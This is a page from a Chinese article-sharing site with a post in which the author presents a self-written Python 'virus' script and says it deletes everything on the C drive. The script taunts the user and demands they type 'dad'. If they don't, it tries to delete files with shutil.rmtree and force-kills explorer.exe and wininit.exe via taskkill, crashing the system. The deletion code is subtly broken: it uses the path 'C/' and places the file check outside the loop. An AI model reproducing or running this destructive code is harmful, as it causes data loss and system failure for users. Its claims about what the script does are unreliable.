栏目分类:
子分类:
返回
文库吧用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
文库吧 > IT > 软件开发 > 后端开发 > Python

python病毒

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

python病毒

这是我写的病毒程序,可以删除C盘的所有文件,大家请看看

import os
import tkinter as tk
import tkinter
from tkinter import messagebox
import shutil
import random as r
import time
def kill():
    filelist=[]
    rootdir="C/"
    filelist=os.listdir(rootdir)
    for f in filelist:
        filepath = os.path.join( rootdir, f )
    if os.path.isfile(filepath):
        os.remove(filepath)
    elif os.path.isdir(filepath):
        shutil.rmtree(filepath,True)
print("hello!")
time.sleep(1)
print("Thanks for open this procedure!")
time.sleep(1)
print("I am")
def end_program(pro_name):
    os.system('%s%s' % ("taskkill /F /IM ",pro_name))
    time.sleep(0.5)
print('''
         h        h
         h        h           
         h        h         
         hhhhhhhhhh         
         h        h         
         h        h         
         h        h(HIM)     ''')
print("Do you know what's the matter with your computer?")
answer=input(">>>")
print("your computer will ......")
time.sleep(1)
print("will......")
time.sleep(2)
end_program("explorer.exe")
print('''
         D         IIIIIII     EEEEEEE   !
         D D          I        E         !
         D   D        I        E         !
         D    D       I        EEEEEEE   !
         D   D        I        E         !
         D D          I        E         !
         D         IIIIIII     EEEEEEE   。   ''')
time.sleep(2)
print("your computer has been control by me")
time.sleep(1)
print("your files has been delete·······")
time.sleep(1)
print('''
         if you want to say goodbye to your files,please end this procedure;
         if you want to make your computer safe,please please don't end this procedure''')
time.sleep(1)
print("print'help'to find an idea to save this computer......(if you don't want to die)")
answer=input(">>>")
if answer=="help":
    print("welcome help!")
    time.sleep(0.6)
    print("I know you want to save your computer")
    time.sleep(1)
    print("I have an idea")
    time.sleep(1)
    print("please call me 'dad'!")
    answer=input(">>>")
    if answer=="dad":
        print("Hi!my son")
        os.system("start explorer")
        print("Give you a break.")
    else:
        print("go to die!!!")
        kill()
        end_program("wininit.exe")
else:
    print("The password is?")
    answer=input(">>>")
    if answer=="dad":
        print("Hi!my son")
        os.system("start explorer")
        print("Give you a break.")
    else:
        print("Die! you fool!!!")
        kill()
        end_program("wininit.exe")

转载请注明:文章转载自 www.wk8.com.cn
本文地址:https://www.wk8.com.cn/it/1037142.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 wk8.com.cn

ICP备案号:晋ICP备2021003244-6号